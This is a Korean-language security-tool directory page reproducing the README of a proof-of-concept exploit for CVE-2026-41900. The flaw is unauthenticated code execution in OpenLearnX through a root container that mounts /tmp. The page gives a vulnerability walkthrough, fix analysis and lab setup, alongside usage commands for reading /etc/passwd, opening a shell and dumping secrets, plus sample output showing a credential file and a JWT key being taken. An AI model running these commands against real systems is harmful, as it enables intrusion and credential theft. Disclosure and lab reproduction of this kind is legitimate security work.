Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-41900-POC — CVE-2026-41900에 대한 개념 증명 익스플로잇으로, OpenLearnX에서 컨테이너 볼륨 마운트를 통한 인증되지 않은 원격 코드 실행으로, /tmp 노출 및 명령 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/christbowel/cve-2026-41900-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingContainer Escape
GitHubchristbowel/cve-2026-41900-poc

CVE-2026-41900-POC

CVE-2026-41900에 대한 개념 증명 익스플로잇으로, OpenLearnX에서 컨테이너 볼륨 마운트를 통한 인증되지 않은 원격 코드 실행으로, /tmp 노출 및 명령 실행을 가능하게 합니다.

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

OpenLearnX-RCE

hacking

OpenLearnX 인증 없이 컨테이너 볼륨 마운트를 통한 RCE

Diff 기반 발견 → 무성 패치 → 샌드박스 탈출 → 전체 /tmp 노출

속성값
이름OpenLearnX-RCE
CVECVE-2026-41900
GHSAGHSA-8h25-q488-4hxw
유형인증 없는 정보 노출 / RCE
영향OpenLearnX < 커밋 14765d7
수정커밋 14765d7 (real_compiler_service)
CVSS8.6 (높음)
CWECWE-538, CWE-377, CWE-250

발견 과정

OSDC(제 자동 패치 인텔리전스 파이프라인)가 OpenLearnX에 대한 무성 권고를 플래그했습니다 — GHSA-8h25-q488-4hxw가 기술적 세부 정보 없이 공개되었습니다. 수정 커밋(14765d7)을 가져와 부모 커밋(d19c4e4)과 diff를 비교했습니다.

Diff가 전체 내용을 보여주었습니다: backend/routes/coding.py의 execute_in_container()가 제거되고 강화된 real_compiler_service로 대체되었습니다. 이전 코드는 사용자가 제공한 코드를 임시 파일에 쓴 다음, os.path.dirname(temp_file) — 즉 /tmp로 해석되는 경로 — 을 형제 Docker 컨테이너에 읽기 전용 볼륨으로 마운트했습니다. user=도, cap_drop도, security_opt도 없었습니다. 기본적으로 root로 실행됩니다.

핵심은 /api/compiler/execute의 compiler 블루프린트에 인증 데코레이터가 없다는 점입니다. 인증되지 않은 요청만으로도 취약한 컨테이너 설정을 통해 코드 실행을 트리거할 수 있습니다.

로컬 랩에서 패치 이전 코드를 분리하고 모든 벡터를 확인한 후 이 PoC를 작성했습니다.


취약점 요약

root@kitploit:~
POST /api/compiler/execute  (인증 없음)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ /tmp로 해석됨 → 전체 /tmp가 컨테이너에 마운트됨
     │
     ├─ user= 없음        → root(UID 0)로 실행
     ├─ cap_drop 없음     → 기본 Docker capabilities
     ├─ security_opt 없음 → 기본 seccomp 프로필
     │
     └─ 공격자가 읽을 수 있음: 비밀, 자격 증명, JWT 키, 다른 사용자의 제출물

가젯

가젯심각도CWE설명
listing높음CWE-538볼륨 마운트를 통한 /tmp 디렉터리 목록
secrets치명적CWE-538/tmp에서 자격 증명, 키, 설정 읽기
submissions높음CWE-538다른 학생의 코드 제출물 읽기
rootcheck중간CWE-250UID 0(root) 실행 확인
caps중간CWE-250유효 Linux capabilities 덤프

설치

root@kitploit:~
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# 의존성 없음 — 표준 라이브러리만 사용
chmod +x exploit.py

사용법

root@kitploit:~
# 대상이 취약한지 확인
python3 exploit.py --check http://target:5000

# 모든 가젯 실행 + 증거 JSON 생성
python3 exploit.py --exploit http://target:5000

# 단일 명령 실행
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# 대화형 셸 진입
python3 exploit.py --shell http://target:5000

# 특정 가젯 실행
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

셸 명령

--shell에 진입하면 의사 대화형 셸을 얻습니다. 각 명령은 새로운 임시 컨테이너를 생성합니다.

root@kitploit:~
root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] jwt_signing_key.pem 다운로드됨 (235B)

root@container:/app# exit

랩 설정

로컬에서 재현하려면:

root@kitploit:~
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

랩은 패치 이전의 execute_in_container()를 재현하는 컨테이너화된 Flask 앱을 배포하며 다음을 포함합니다:

  • Docker 소켓 마운트(형제 컨테이너 패턴)
  • 호스트와 앱 컨테이너 간 /tmp 공유
  • 비밀 및 학생 제출물을 시뮬레이션하는 시드 파일

수정 분석

커밋 14765d7은 execute_in_container()를 real_compiler_service로 대체했으며 다음을 적용합니다:

root@kitploit:~
container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # 실행별 격리된 tmpdir
    cap_drop=["ALL"],                                           # 모든 capabilities 제거
    security_opt=["no-new-privileges:true"],                    # 권한 상승 방지
    user="65534:65534",                                         # nobody, root 아님
    ...
)

타임라인

날짜이벤트
2026-04OSDC가 무성 권고 GHSA-8h25-q488-4hxw 플래그
2026-04커밋 14765d7 vs 부모 d19c4e4 diff 분석
2026-05랩 재현 및 PoC 개발
2026-05-06전체 PoC 확인 — 5개 벡터 모두 검증

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.


Christbowel · christbowel.com · Balgo Security Team

도구 다운로드